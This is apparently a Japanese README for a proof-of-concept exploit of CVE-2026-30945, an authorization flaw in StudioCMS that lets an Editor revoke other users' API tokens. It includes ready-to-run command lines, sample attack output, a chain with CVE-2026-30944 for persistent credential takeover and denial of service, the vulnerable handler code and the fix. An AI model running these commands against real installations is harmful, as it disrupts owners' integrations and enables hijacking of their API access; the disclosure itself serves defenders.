
CVE-2026-30945の概念実証エクスプロイト。StudioCMSのIDORにより、任意のAPIトークン失効とサービス拒否を可能にします。手動および自動テストモードを含みます。
このハンドラーは、トークンの所有権、呼び出し元の身元、またはロール階層を検証することなく、tokenID と userID をリクエストペイロードから直接受け取ります。これにより、重要な統合や自動化に対する**標的型サービス拒否(DoS)**が可能になります。
関連情報: この脆弱性は、CVE-2026-30944(トークン生成IDOR)と同じ根本原因を共有しています。連鎖させると、攻撃者は正当なトークンを失効させて新しいトークンを生成し、API認証情報を完全に乗っ取ることができます。
┌──────────────┐ DELETE /api-tokens ┌──────────────┐
│ │ {"tokenID":"<id>", │ │
│ Attacker │ "userID":"<owner-id>"} │ StudioCMS │
│ (Editor) │ ──────────────────────────► │ Server │
│ │ │ │
│ │ ◄────────────────────────── │ │
└──────────────┘ {"message":"Token deleted"} └──────────────┘
│
▼
┌──────────────┐
│ Owner's │
│ CI/CD │
│ Pipeline │──► ❌ 401 Unauthorized
│ Integration │──► ❌ API Access Lost
│ Monitoring │──► ❌ Silent Failure
└──────────────┘
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-30945 |
| GHSA | GHSA-8rgj-vrfr-6hqr |
| CVSS v3.1 | 7.1 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H |
| CWE | CWE-639: ユーザー制御キーによる認可バイパス |
| CWE(副次) | CWE-863: 不正確な認可 |
| MITRE ATT&CK | T1531 — アカウントアクセス削除 |
| OWASP API | API1:2023 — オブジェクトレベル認可の破損 |
| 影響を受けるバージョン | studiocms ≤ 0.3.0 |
| 修正バージョン | studiocms 0.4.0 |
| ファイル | 説明 |
|---|---|
cve_2026_30945_poc.py | 手動・自動モードを備えたPythonエクスプロイトスクリプト |
README.md | このファイル |
LICENSE | MITライセンス |
Editor アカウントの有効な認証情報pip install requests colorama
# オーナーに属する特定のトークンを失効させる
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
# CVE-2026-30944と連鎖: 先にターゲット用のトークンを生成する
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# 結果をJSONに保存
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
--save
# 複数のロールでテスト
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
| 引数 | 説明 |
|---|---|
-u, --url | ターゲットのStudioCMSベースURL |
--target-uuid | トークンを失効させる対象ユーザーのUUID |
| 引数 | 説明 |
|---|---|
--token-id | 失効させる内部トークンレコードUUID(JWTではない)。省略した場合、スクリプトはCVE-2026-30944を介して先にトークンの生成を試みます |
| 引数 | 説明 |
|---|---|
--username | 認証用のユーザー名 |
--password | 認証用のパスワード |
| 引数 | 説明 |
|---|---|
--auto-test | 自動マルチロールテストを有効化 |
--editor-user | Editorアカウントのユーザー名 |
--editor-pass | Editorアカウントのパスワード |
--visitor-user | Visitorアカウントのユーザー名 |
--visitor-pass | Visitorアカウントのパスワード |
| 引数 | 説明 |
|---|---|
--save | 結果をJSONファイルに保存 |
--no-ssl-verify | SSL証明書の検証を無効化 |
──────────────────────────────────────────────────────────
PHASE 1: Authentication
──────────────────────────────────────────────────────────
[+] Authenticated as 'editor01'
[*] Session user: editor01 (editor)
[*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 3: Token Revocation (IDOR)
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Token ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revoking target's API token...
[+] Token revoked! Server response: Token deleted
[!] VULNERABILITY CONFIRMED — Token successfully revoked!
[!] Target user's API integrations are now broken (DoS)
──────────────────────────────────────────────────────────
PHASE 3: Token Revocation (IDOR)
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Token ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revoking target's API token...
[*] Access denied (403 Forbidden) — endpoint may be patched
[-] Revocation failed: Access denied (403 Forbidden)
トークン生成IDOR(CVE-2026-30944)と組み合わせると、攻撃者はAPI認証情報を完全に乗っ取ることができます:
Step 1: Revoke owner's legitimate token (CVE-2026-30945)
└──► Owner's CI/CD pipelines break silently
Step 2: Generate new token for owner (CVE-2026-30944)
└──► Attacker now has owner-level API access
Step 3: Owner creates a new token to fix
└──► Attacker revokes it again (persistent DoS)
これにより、攻撃者がオーナーのAPIアクセスに対する永続的な制御を維持し、オーナーが作成した新しいトークンを繰り返し失効させながら、自身の不正アクセスを維持するシナリオが生じます。
packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts(58〜99行目)の脆弱なハンドラーは、リクエストボディから tokenID と userID を受け取り、認可チェックなしで削除関数に直接渡します:
// [1] Only checks if caller is editor — not WHO they're deleting tokens for
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] Both values from request body — no validation against session
const jsonData = yield* readAPIContextJson<{
tokenID: string; // No ownership check
userID: string; // No identity check
}>(ctx);
// [3] Passed directly to destructive operation — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });
このハンドラーには5つの明確な欠陥があります:不十分な権限ゲート、トークン所有権の検証なし、呼び出し元の身元チェックの欠如、ロール階層の強制なし、そして破壊的操作へのユーザー制御値の直接パススルーです。
StudioCMSをバージョン 0.4.0 以降に更新してください:
npm install studiocms@latest
このツールは、教育目的および許可されたセキュリティテスト専用に提供されています。
Filipe Gaudard
このPoCは、教育目的のためにMITライセンスの下で公開されています。責任を持って倫理的に使用してください。